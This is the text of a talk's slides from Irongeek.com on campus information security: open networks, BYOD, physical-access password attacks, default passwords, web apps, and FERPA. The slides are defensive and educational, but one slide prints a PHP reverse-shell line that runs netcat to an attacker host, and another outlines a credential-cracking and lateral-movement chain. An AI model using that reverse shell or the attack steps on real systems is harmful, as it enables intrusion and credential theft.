http://Irongeek.com I run Irongeek.com I have an interest in InfoSec education I don’t know everything - I’m just a geek with time on my hands Sr. Information Security Engineer at a Fortune 1000 Co-Founder of Derbycon http://www.derbycon.com http://www.derbycon.com Twitter: @Irongeek_ADC
http://Irongeek.com This is a broad subject, too broad Give you something to think about Going to try to suggest cheap/free tools to solve problems More notes here: http://www.irongeek.com/i.php?page=security/uni versity-campus-security-2013 http://www.irongeek.com/i.php?page=security/uni versity-campus-security-2013
http://Irongeek.com What are the differences? Open by design Lack of physical control BYOD (Bring Your Own Device) is standard Early Adoption/Legacy Apps with little regard to security Politics/Organizational Problems Legal Stuff
http://Irongeek.com Bandwidth Botnets Pivots Free Hosting Free resources Books/Articles Aaron Swartz & JSTOR is a sad case of admins going too far Research Information Grades/Tests/Notes Forced directory browsing for the win!
http://Irongeek.com The point is to learn (in theory) Learning is the product, not widgets or whatever Experimentation is needed to learn Can I run a service on this? Where can I put my website? Where can I run my code? Try telling tenured faculty they can’t run a server?
http://Irongeek.com Old software never dies “But I just got to use this BASICA app” Time tables for testing Assumption of Admin access Mitigation: Figure out needed registry and file system permissions Procmon http://technet.microsoft.com/en- us/sysinternals/bb896645.aspx http://technet.microsoft.com/en- us/sysinternals/bb896645.aspx
http://Irongeek.com Frequent nuke and rebuilds SteadyState – no longer supported Achieving the effect with built in tech http://technet.microsoft.com/en- us/library/gg176676%28WS.10%29.aspx http://technet.microsoft.com/en- us/library/gg176676%28WS.10%29.aspx Commercial Deep Freeze http://www.faronics.com http://www.faronics.com Alternatives http://alternativeto.net/software/deep-freeze/ http://alternativeto.net/software/deep-freeze/
http://Irongeek.com Besides crappy apps, there is malware Nuke it from orbit, it’s the only way to be sure Symantec Ghost Open Source Alternatives: http://www.osalt.com/ghost http://www.osalt.com/ghost Train users to put their files in a know location Windows Easy Transfer http://windows.microsoft.com/en- us/windows7/products/features/windows-easy- transfer http://windows.microsoft.com/en- us/windows7/products/features/windows-easy- transfer
http://Irongeek.com Attackers are already on the soft chewy center of the “Candy Analogy” Remember the axiom: “If a bad guy has unrestricted physical access to your computer, it's not your computer anymore.“ ~ Microsoft or Dr. David Salomon
http://Irongeek.com Kon-Boot http://www.piotrbania.com/all/kon-boot/ http://www.piotrbania.com/all/kon-boot/ Subverts Boot Process Blank a password in Windows on login Reboot and authentication goes back to normal Some locally stored passwords will not work Nirsoft’s Password Recovery tools: http://www.nirsoft.net http://www.nirsoft.net
http://Irongeek.com Portable Boot Devices (USB/CD/DVD) http://www.irongeek.com/i.php?page=videos/port able-boot-devices-usb-cd-dvd http://www.irongeek.com/i.php?page=videos/port able-boot-devices-usb-cd-dvd Building a boot USB, DVD or CD based on Windows 7 with WinBuilder and Win7PE SE Tutorial http://www.irongeek.com/i.php?page=security/win builder-win7pe-se-tutorial http://www.irongeek.com/i.php?page=security/win builder-win7pe-se-tutorial Dual booting Winbuilder/Win7PE SE and Backtrack 5 on a USB flash drive with XBOOT http://www.irongeek.com/i.php?page=videos/xboo t-backtrack-winbuilder-dual-boot http://www.irongeek.com/i.php?page=videos/xboo t-backtrack-winbuilder-dual-boot
http://Irongeek.com Some may be thinking: "Those are just the patron access machines - my staff workstations and file servers are still safe because they are behind locked doors." Let me share my little horror story about network privilege escalation:
http://Irongeek.com 1. First frat boy Bob becomes a local admin on a workstation using a boot device. 2. He then copies off the SAM and SYSTEM files for later cracking with Cain or Hashcat http://www.oxid.it/cain.html http://hashcat.net I've done tons of videos/articles over the years on password cracking, so I'll point you to some of those: http://www.oxid.it/cain.html http://hashcat.net Cracking Windows Vista/XP/2000/NT Passwords via SAM and SYSKEY with Cain, Ophcrack, Saminside, BKhive, Samdump2 etc http://www.irongeek.com/i.php?page=security/cracking-windows-vista-xp-2000-nt- passwords-via-sam-and-syskey-with-cain-ophcrack-saminside-bkhive-etc http://www.irongeek.com/i.php?page=security/cracking-windows-vista-xp-2000-nt- passwords-via-sam-and-syskey-with-cain-ophcrack-saminside-bkhive-etc Password Exploitation Class http://www.irongeek.com/i.php?page=videos/password-exploitation-class http://www.irongeek.com/i.php?page=videos/password-exploitation-class
http://Irongeek.com 3. Many folks use the same local admin passwords on all of the boxes they deploy, allowing Bob to attack other boxes from across the network using the cracked credentials. 4. Bob then installs a software key logger to gain even more credentials as faculty, staff and students login to the compromised workstation. 5. Repeat leap frogging.
http://Irongeek.com Cached Domain Credentials MSCash and MSCash v2 http://openwall.info/wiki/john/MSCash http://openwall.info/wiki/john/MSCash2 http://openwall.info/wiki/john/MSCash http://openwall.info/wiki/john/MSCash2 Cain & Able http://www.oxid.it/cain.html http://www.oxid.it/cain.html Hashcat http://hashcat.net http://hashcat.net Browser, Mail Client, etc. http://www.nirsoft.net http://www.nirsoft.net
http://Irongeek.com Don’t store local passwords Don’t use LMHASHs New OS or greater that 15 character passwords No default local admin, but custom (HASH(MAC+SK)) Locked BIOS Unified Extensible Firmware Interface (UEFI) Control what people can boot from Support issues for reimaging Better lock the case too Cheap lock = crap lock Prohibitively expensive to do better. More on passwords in a bit None of it stops hardware key loggers
http://Irongeek.com Even professors from Comp Sci/Infosec may not know tech details Defining Pen-test to two Infosec professors Defining what a USB hub was to another Silly attitudes: "Additionally, Mr. Crenshaw's personal website, housed on university resources, is a compendium of links to know computer hacker websites, hacker toolkits, and other hacker resources.“ ~ Larry Mand The word hacker freaks them out a bit
http://Irongeek.com Sterling Riggs WDRB Facebook Post September 26: “I don't know how I feel about this--DerbyCon happening at Hyatt downtown. It's a convention for computer hackers.” Lot’s of prejudicial comments I pointed it out to my infosec buds on Twitter, and tons of Infosec folks showed up to defend hackerdom and the conference Post since deleted But Jayson E. Street (@jaysonstreet) saved some Eve Adams got in the last words I saw: "Kill em with kindness. Hack em with hugs."
http://Irongeek.com Ethics, or lack there of You get fired for what you do do, not for what you don’t. Why rock the boat? Tenure No, you change your IP scheme How do you enforce rules on those that can’t be fired? Like High school cliques, but with more grey hair and tweed
http://Irongeek.com The plural of a anecdote is not evidence, but… The Foundation for Individual Rights in Education http://thefire.org http://thefire.org Look over the timeline for the Jerry Sandusky case Look up the origin of the Clery Act No, not all schools are this way (I hope)
http://Irongeek.com They have always been doing it, did not have a term for Bring you own device Flat Networks NAC (Network Access Control) Better be more than MAC Address (ifconfig, MadMACs) Crapware on box need to check system AV and patch level http://www.packetfence.org http://www.packetfence.org http://freenac.net (Maybe dead) http://freenac.net
http://Irongeek.com Remote password attacks Noisy Slow Default passwords No passwords are common on printers Network gear Webcams/Teleconference DRACs
http://Irongeek.com Printers Data leaks/Docs DoS Free print jobs Stored passwords DRACs (or other management) Remote control Webcams/Teleconferencing Passwords on desks? SoHo NASes
http://Irongeek.com Softperfect’s NetScan http://www.softperfect.com/products/networksca nner/ http://www.softperfect.com/products/networksca nner/ RAWR (Rapid Assessment of Web Resources) from Adam Byers & Tom Moore (@RapidWebEnum) http://sourceforge.net/projects/rawr-webenum/ http://sourceforge.net/projects/rawr-webenum/
http://Irongeek.com Some scanners will just tell you THC-Hydra http://www.thc.org/thc-hydra/ http://www.thc.org/thc-hydra/ Medusa http://www.foofus.net/~jmk/medusa/medusa.ht http://www.foofus.net/~jmk/medusa/medusa.ht Brutus http://www.hoobie.net/brutus/ http://www.hoobie.net/brutus/ Default Password Lists (or just Google) http://www.phenoelit.org/dpl/dpl.html http://www.cirt.net/passwords http://www.phenoelit.org/dpl/dpl.html http://www.cirt.net/passwords
http://Irongeek.com Default password of a new account? Passwords reused to often, known by too many, never changed Frequent resets cause people to write it down (or more support calls) Password Patterns Passwords over Passphrase 27 40 = 1.7970103e+57 96 10 = 5.9873694e+19
http://Irongeek.com Facebook started on university campuses Students are way too free with information OSInt, Cyberstalking, Footprinting and Recon: Getting to know you http://www.irongeek.com/i.php?page=videos/osint -cyberstalking-footprinting-recon http://www.irongeek.com/i.php?page=videos/osint -cyberstalking-footprinting-recon Curious George Bronk
http://Irongeek.com How many organizations of about 7000 people have a class B? Got in early, got a lot of space Don’t have to NAT for numbering reasons, so a lot of stuff is on the public Internet Some problems: Open ports or everything! Reconfigure devices Reverse DNS
http://Irongeek.com nmap -sL 123.123.*/* Nmap scan report for pm-cser-loanbox.papermill.edu (22.214.171.124) Nmap scan report for pm-sscs-hh10500.papermill.edu (126.96.36.199) Nmap scan report for pm-buse-jsmith02.papermill.edu Nmap scan report for npi10adab.papermill.edu (188.8.131.52)
http://Irongeek.com Firewall it off Turn it off Watch for defaults when sharing files Things get shared with too many folkS NetScan is awesome for finding these Do they really need it? Walled Off Experimentation Labs Virtual Machines
http://Irongeek.com User training Who’s an admin? SOHO NAS, and why are they there?
http://Irongeek.com Does the page allow for scripting? Packages kept up to date Old web apps never die PHP Example $x = shell_exec("nc AttackingBoxIP 30 -e cmd "); Web Shells http://www.irongeek.com/i.php?page=videos/oisf2013/webshells-history- techniques-obfuscation-and-automated-collection-adrian-crenshaw http://www.irongeek.com/i.php?page=videos/oisf2013/webshells-history- techniques-obfuscation-and-automated-collection-adrian-crenshaw OWASP (Open Web Application Security Project) https://www.owasp.org https://www.owasp.org Web Application Pen-testing Tutorials With Mutillidae http://www.irongeek.com/i.php?page=videos/web-application-pen-testing- tutorials-with-mutillidae http://www.irongeek.com/i.php?page=videos/web-application-pen-testing- tutorials-with-mutillidae
http://Irongeek.com Corporate Network can get away with more because of physical perimeter (sort of) Insecure protocols HTTP FTP SMTP Telnet
http://Irongeek.com Protocol replacements IDS/IPS/ARPWatch LAN segmentation Network Sniffers Class for the Kentuckiana ISSA 2011 http://www.irongeek.com/i.php?page=videos/network- sniffers-class http://www.irongeek.com/i.php?page=videos/network- sniffers-class Static ARP ARPFreeze http://www.irongeek.com/i.php?page=security/arpfreeze- static-arp-poisoning http://www.irongeek.com/i.php?page=security/arpfreeze- static-arp-poisoning
http://Irongeek.com Do you know what is out there? Professors, students and staff could be hooking anything up NAC may give some info Nmap http://nmap.org http://nmap.org Nagios http://www.nagios.org http://www.nagios.org Commercial: Nessus http://www.tenable.com http://www.tenable.com Nexpose http://www.rapid7.com http://www.rapid7.com
http://Irongeek.com Better than it use to be WSUS great for Windows clients you control http://technet.microsoft.com/en- us/windowsserver/bb332157.aspx http://technet.microsoft.com/en- us/windowsserver/bb332157.aspx Commercial: Shavlik http://www.shavlik.com http://www.shavlik.com Secunia CSI (can be uses with WSUS) http://secunia.com http://secunia.com Open Source: http://wsuspackagepublisher.codeplex.com http://wsuspackagepublisher.codeplex.com
http://Irongeek.com Open Wireless can be sniffed (duh!) Lots of legacy system exist that may not be able to use WPA/2 Enterprise (getting better) VPN over open WiFi was a common option Not so useful Disabling SSID Broadcasting MAC Address Filtering Evil twin attacks
http://Irongeek.com Universities hit everything across the board Most of these others in the audience will know better than I PCI DSS (Payment Card Industry Data Security Standard) HIPAA/HITECH (Health Insurance Portability and Accountability Act / Health Information Technology for Economic and Clinical Health Act) FISMA/FIPS (Federal Information Security Management Act of 2002 / Federal Information Processing Standards) IRB (Institutional Review Board) FERPA (Family Educational Rights and Privacy Act) Let’s dive into this
http://Irongeek.com Three main parts 1. Give students access to their records 2. The ability to amend records 3. To control disclosure of student records Only for Schools getting money form U.S. Department of Education programs Why it is pretty fucking useless!
http://Irongeek.com No individual right to sue See Gonzaga University v. Doe Can’t find a case of any university ever loosing funding because of a breach Have there been no breaches? Just not enforced?
http://Irongeek.com Two Quotes: "If, as a result of the hearing, the school still decides not to amend the record, the eligible student has the right to insert a statement in the record setting forth his or her views" "Thus, while FERPA affords eligible students the right to seek to amend education records which contain inaccurate information, this right cannot be used to challenge a grade or an individual's opinion, or a substantive decision made by a school about a student." Amendment clause has exceptions (that covers all possibilities) Grades Statements or Opinions “Substantive” Decision What is left? Overall Conclusion: FERPA has no teeth
http://Irongeek.com Mostly links, sorry Slides will be up when I post the video, but most are in the article If you experiences are different, I’d live to here them Private/State/ Commercial Teaching vs. Research Government Research
http://Irongeek.com Derbycon Sept ?th-?th, 2014 http://www.derbycon.com http://www.derbycon.com Others http://www.louisvilleinfosec.com http://skydogcon.com http://hack3rcon.org http://outerz0ne.org http://phreaknic.info http://notacon.org Photo Credits to KC (devauto) Derbycon Art Credits to DigiP